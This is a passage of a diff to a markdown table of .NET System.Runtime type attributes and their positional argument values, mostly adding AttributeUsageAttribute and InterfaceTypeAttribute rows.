[AttributeUsageAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.DependencyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.DependencyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.DependencyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.ExtensionAttribute | [AttributeUsageAttribute(...)] | 0 | 69 | +| System.Runtime.CompilerServices.FixedAddressValueTypeAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | +| System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Runtime.CompilerServices.FixedBufferAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.FixedBufferAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.IAsyncStateMachine | [NullableContextAttribute(...)] | 0 | 1 | @@ -1893,10 +1970,24 @@ attrArgPositional | System.Runtime.CompilerServices.IStrongBox | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.CompilerServices.ITuple | [DefaultMemberAttribute(...)] | 0 | Item | | System.Runtime.CompilerServices.ITuple | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.IndexerNameAttribute | [AttributeUsageAttribute(...)] | 0 | 128 | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.InternalsVisibleToAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.InternalsVisibleToAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.IntrinsicAttribute | [AttributeUsageAttribute(...)] | 0 | 364 | +| System.Runtime.CompilerServices.IsByRefLikeAttribute | [AttributeUsageAttribute(...)] | 0 | 8 | +| System.Runtime.CompilerServices.IsByRefLikeAttribute | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.IsReadOnlyAttribute | [AttributeUsageAttribute(...)] | 0 | 32767 | +| System.Runtime.CompilerServices.IsReadOnlyAttribute | [EditorBrowsableAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.IteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.CompilerServices.MethodImplAttribute | [AttributeUsageAttribute(...)] | 0 | 96 | +| System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | 0 | 27524 | +| System.Runtime.CompilerServices.NullableContextAttribute | [AttributeUsageAttribute(...)] | 0 | 5198 | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.RuntimeFeature | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.RuntimeFeature | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.RuntimeHelpers | [NullableAttribute(...)] | 0 | 0 | @@ -1906,79 +1997,121 @@ attrArgPositional | System.Runtime.CompilerServices.RuntimeWrappedException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.RuntimeWrappedException | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.RuntimeWrappedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.CompilerServices.SpecialNameAttribute | [AttributeUsageAttribute(...)] | 0 | 972 | +| System.Runtime.CompilerServices.StateMachineAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.CompilerServices.StateMachineAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.StateMachineAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.StringFreezingAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.StrongBox`1.Value | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.SuppressIldasmAttribute | [AttributeUsageAttribute(...)] | 0 | 3 | +| System.Runtime.CompilerServices.TupleElementNamesAttribute | [AttributeUsageAttribute(...)] | 0 | 11148 | | System.Runtime.CompilerServices.TupleElementNamesAttribute | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.CompilerServices.TypeDependencyAttribute | [AttributeUsageAttribute(...)] | 0 | 1036 | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | 0 | 5148 | | System.Runtime.CompilerServices.TypeForwardedFromAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.TypeForwardedFromAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.UnsafeValueTypeAttribute | [AttributeUsageAttribute(...)] | 0 | 8 | +| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | 0 | 1133 | | System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.InteropServices.AllowReversePInvokeCallsAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.InteropServices.ArrayWithOffset | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ArrayWithOffset | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.BStrWrapper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.BStrWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.BestFitMappingAttribute | [AttributeUsageAttribute(...)] | 0 | 1037 | | System.Runtime.InteropServices.COMException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.COMException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.COMException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.ClassInterfaceAttribute | [AttributeUsageAttribute(...)] | 0 | 5 | +| System.Runtime.InteropServices.CoClassAttribute | [AttributeUsageAttribute(...)] | 0 | 1024 | | System.Runtime.InteropServices.CoClassAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.CoClassAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComEventInterfaceAttribute | [AttributeUsageAttribute(...)] | 0 | 1024 | | System.Runtime.InteropServices.ComEventInterfaceAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ComEventInterfaceAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComEventsHelper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ComEventsHelper | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComImportAttribute | [AttributeUsageAttribute(...)] | 0 | 1028 | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Runtime.InteropServices.ComSourceInterfacesAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ComSourceInterfacesAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.CONNECTDATA.pUnk | [NullableAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.EXCEPINFO | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ComTypes.EXCEPINFO | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IBindCtx | [GuidAttribute(...)] | 0 | 0000000e-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IBindCtx | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IBindCtx | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IConnectionPoint | [GuidAttribute(...)] | 0 | B196B286-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IConnectionPoint | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IConnectionPoint | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [GuidAttribute(...)] | 0 | B196B284-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [GuidAttribute(...)] | 0 | B196B285-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumConnections | [GuidAttribute(...)] | 0 | B196B287-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IEnumConnections | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumConnections | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumMoniker | [GuidAttribute(...)] | 0 | 00000102-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumMoniker | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumMoniker | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumString | [GuidAttribute(...)] | 0 | 00000101-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumString | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumString | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [GuidAttribute(...)] | 0 | 00020404-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IEnumerable | [GuidAttribute(...)] | 0 | 496B0ABE-CDEE-11d3-88E8-00902754C43A | | System.Runtime.InteropServices.ComTypes.IMoniker | [GuidAttribute(...)] | 0 | 0000000f-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IMoniker | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IMoniker | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IPersistFile | [GuidAttribute(...)] | 0 | 0000010b-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IPersistFile | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IPersistFile | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [GuidAttribute(...)] | 0 | 00000010-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IStream | [GuidAttribute(...)] | 0 | 0000000c-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IStream | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.IStream | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeComp | [GuidAttribute(...)] | 0 | 00020403-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeComp | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeComp | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeInfo | [GuidAttribute(...)] | 0 | 00020401-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeInfo | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [GuidAttribute(...)] | 0 | 00020412-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeLib | [GuidAttribute(...)] | 0 | 00020402-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeLib | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeLib | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeLib2 | [GuidAttribute(...)] | 0 | 00020411-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeLib2 | [InterfaceTypeAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.ITypeLib2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.STATSTG.pwcsName | [NullableAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ComTypes.VARDESC.lpstrSchema | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComVisibleAttribute | [AttributeUsageAttribute(...)] | 0 | 5597 | +| System.Runtime.InteropServices.DefaultCharSetAttribute | [AttributeUsageAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute | [AttributeUsageAttribute(...)] | 0 | 65 | +| System.Runtime.InteropServices.DefaultParameterValueAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | | System.Runtime.InteropServices.DefaultParameterValueAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.DefaultParameterValueAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.DispIdAttribute | [AttributeUsageAttribute(...)] | 0 | 960 | | System.Runtime.InteropServices.DispatchWrapper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.DispatchWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.DllImportAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.InteropServices.DllImportAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.DllImportAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.DllImportAttribute.EntryPoint | [NullableAttribute(...)] | 0 | 2 | @@ -1988,8 +2121,10 @@ attrArgPositional | System.Runtime.InteropServices.ExternalException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ExternalException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.ExternalException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.FieldOffsetAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Runtime.InteropServices.GCHandle | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.GCHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.GuidAttribute | [AttributeUsageAttribute(...)] | 0 | 5149 | | System.Runtime.InteropServices.GuidAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.GuidAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.HandleRef | [NullableAttribute(...)] | 0 | 0 | @@ -1997,22 +2132,31 @@ attrArgPositional | System.Runtime.InteropServices.ICustomAdapter | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ICustomFactory | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.ICustomMarshaler | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.InAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.InteropServices.InterfaceTypeAttribute | [AttributeUsageAttribute(...)] | 0 | 1024 | | System.Runtime.InteropServices.InvalidComObjectException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.InvalidComObjectException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.InvalidComObjectException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Runtime.InteropServices.InvalidOleVariantTypeException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.InvalidOleVariantTypeException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.InvalidOleVariantTypeException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.LCIDConversionAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.InteropServices.Marshal | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.Marshal | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.MarshalAsAttribute | [AttributeUsageAttribute(...)] | 0 | 10496 | | System.Runtime.InteropServices.MarshalAsAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.MarshalAsAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.MarshalDirectiveException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.MarshalDirectiveException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.MarshalDirectiveException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.NativeCallableAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | | System.Runtime.InteropServices.NativeCallableAttribute.EntryPoint | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.NativeLibrary | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.NativeLibrary | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.OptionalAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.InteropServices.OutAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | +| System.Runtime.InteropServices.PreserveSigAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.InteropServices.ProgIdAttribute | [AttributeUsageAttribute(...)] | 0 | 4 | | System.Runtime.InteropServices.ProgIdAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.ProgIdAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.InteropServices.SEHException | [NullableAttribute(...)] | 0 | 0 | @@ -2025,11 +2169,14 @@ attrArgPositional | System.Runtime.InteropServices.SafeArrayTypeMismatchException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.SafeArrayTypeMismatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Runtime.InteropServices.SafeHandle System.Threading.ThreadPoolBoundHandle.Handle | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.StructLayoutAttribute | [AttributeUsageAttribute(...)] | 0 | 12 | | System.Runtime.InteropServices.StructLayoutAttribute System.Type.StructLayoutAttribute | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [AttributeUsageAttribute(...)] | 0 | 5144 | | System.Runtime.InteropServices.TypeIdentifierAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.TypeIdentifierAttribute | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.InteropServices.UnknownWrapper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.UnknownWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute | [AttributeUsageAttribute(...)] | 0 | 4096 | | System.Runtime.InteropServices.VariantWrapper | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.InteropServices.VariantWrapper | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.Intrinsics.Arm.Arm64.Aes | [CLSCompliantAttribute(...)] | 0 | False | @@ -2038,8 +2185,11 @@ attrArgPositional | System.Runtime.Intrinsics.Arm.Arm64.Sha256 | [CLSCompliantAttribute(...)] | 0 | False | | System.Runtime.Intrinsics.Arm.Arm64.Simd | [CLSCompliantAttribute(...)] | 0 | False | | System.Runtime.Intrinsics.Vector64`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.Vector64`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Runtime.Intrinsics.Vector64DebugView`1 | | System.Runtime.Intrinsics.Vector128`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.Vector128`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Runtime.Intrinsics.Vector128DebugView`1 | | System.Runtime.Intrinsics.Vector256`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.Vector256`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Runtime.Intrinsics.Vector256DebugView`1 | | System.Runtime.Intrinsics.X86.Aes | [CLSCompliantAttribute(...)] | 0 | False | | System.Runtime.Intrinsics.X86.Avx | [CLSCompliantAttribute(...)] | 0 | False | | System.Runtime.Intrinsics.X86.Avx2 | [CLSCompliantAttribute(...)] | 0 | False | @@ -2062,6 +2212,7 @@ attrArgPositional | System.Runtime.Loader.AssemblyLoadContext System.Runtime.Loader.AssemblyLoadContext.CurrentContextualReflectionContext | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.Loader.AssemblyLoadContext.AssemblyLoad | [NullableAttribute(...)] | 0 | 2 | | System.Runtime.Loader.AssemblyLoadContext.AssemblyResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [EditorBrowsableAttribute(...)] | 0 | 1 | | System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [NullableContextAttribute(...)] | 0 | 0 | | System.Runtime.Loader.AssemblyLoadContext.Resolving | [NullableAttribute(...)] | 0 | [2,1,1,2] | | System.Runtime.Loader.AssemblyLoadContext.ResolvingUnmanagedDll | [NullableAttribute(...)] | 0 | [2,1,1] | @@ -2079,6 +2230,11 @@ attrArgPositional | System.Runtime.Serialization.IObjectReference | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.Serialization.ISafeSerializationData | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.Serialization.ISerializable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.OnDeserializedAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.Serialization.OnDeserializingAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.Serialization.OnSerializedAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.Serialization.OnSerializingAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Runtime.Serialization.OptionalFieldAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Runtime.Serialization.SerializationEntry | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.Serialization.SerializationEntry | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.Serialization.SerializationException | [NullableAttribute(...)] | 0 | 0 | @@ -2092,11 +2248,15 @@ attrArgPositional | System.Runtime.Serialization.StreamingContext | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.TargetedPatchingOptOutAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.TargetedPatchingOptOutAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | 0 | 108 | +| System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.Versioning.TargetFrameworkAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.Versioning.TargetFrameworkAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.RuntimeType.ListBuilder`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.RuntimeTypeHandle | [NullableAttribute(...)] | 0 | 0 | | System.RuntimeTypeHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.STAThreadAttribute | [AttributeUsageAttribute(...)] | 0 | 64 | +| System.Security.AllowPartiallyTrustedCallersAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Security.Cryptography.CryptographicException | [NullableAttribute(...)] | 0 | 0 | | System.Security.Cryptography.CryptographicException | [NullableContextAttribute(...)] | 0 | 1 | | System.Security.Cryptography.CryptographicException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -2108,6 +2268,7 @@ attrArgPositional | System.Security.Principal.IIdentity | [NullableContextAttribute(...)] | 0 | 2 | | System.Security.Principal.IPrincipal | [NullableContextAttribute(...)] | 0 | 2 | | System.Security.Principal.IPrincipal System.Threading.Thread.CurrentPrincipal | [NullableAttribute(...)] | 0 | 2 | +| System.Security.SecurityCriticalAttribute | [AttributeUsageAttribute(...)] | 0 | 5501 | | System.Security.SecurityCriticalScope | [ObsoleteAttribute(...)] | 0 | SecurityCriticalScope is only used for .NET 2.0 transparency compatibility. | | System.Security.SecurityCriticalScope System.Security.SecurityCriticalAttribute.Scope | [ObsoleteAttribute(...)] | 0 | SecurityCriticalScope is only used for .NET 2.0 transparency compatibility. | | System.Security.SecurityElement | [NullableAttribute(...)] | 0 | 0 | @@ -2115,14 +2276,22 @@ attrArgPositional | System.Security.SecurityException | [NullableAttribute(...)] | 0 | 0 | | System.Security.SecurityException | [NullableContextAttribute(...)] | 0 | 2 | | System.Security.SecurityException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Security.SecurityRulesAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Security.SecuritySafeCriticalAttribute | [AttributeUsageAttribute(...)] | 0 | 5500 | +| System.Security.SecurityTransparentAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Security.SecurityTreatAsSafeAttribute | [AttributeUsageAttribute(...)] | 0 | 5501 | | System.Security.SecurityTreatAsSafeAttribute | [ObsoleteAttribute(...)] | 0 | SecurityTreatAsSafe is only used for .NET 2.0 transparency compatibility. Please use the SecuritySafeCriticalAttribute instead. | +| System.Security.SuppressUnmanagedCodeSecurityAttribute | [AttributeUsageAttribute(...)] | 0 | 5188 | +| System.Security.UnverifiableCodeAttribute | [AttributeUsageAttribute(...)] | 0 | 2 | | System.Security.VerificationException | [NullableAttribute(...)] | 0 | 0 | | System.Security.VerificationException | [NullableContextAttribute(...)] | 0 | 2 | | System.Security.VerificationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.SerializableAttribute | [AttributeUsageAttribute(...)] | 0 | 4124 | | System.Span<!0> System.Memory`1.Span | [NullableAttribute(...)] | 0 | [0,1] | | System.Span<!0> System.Span`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.Span<System.Char> System.Text.StringBuilder.RemainingCurrentChunk | [NullableAttribute(...)] 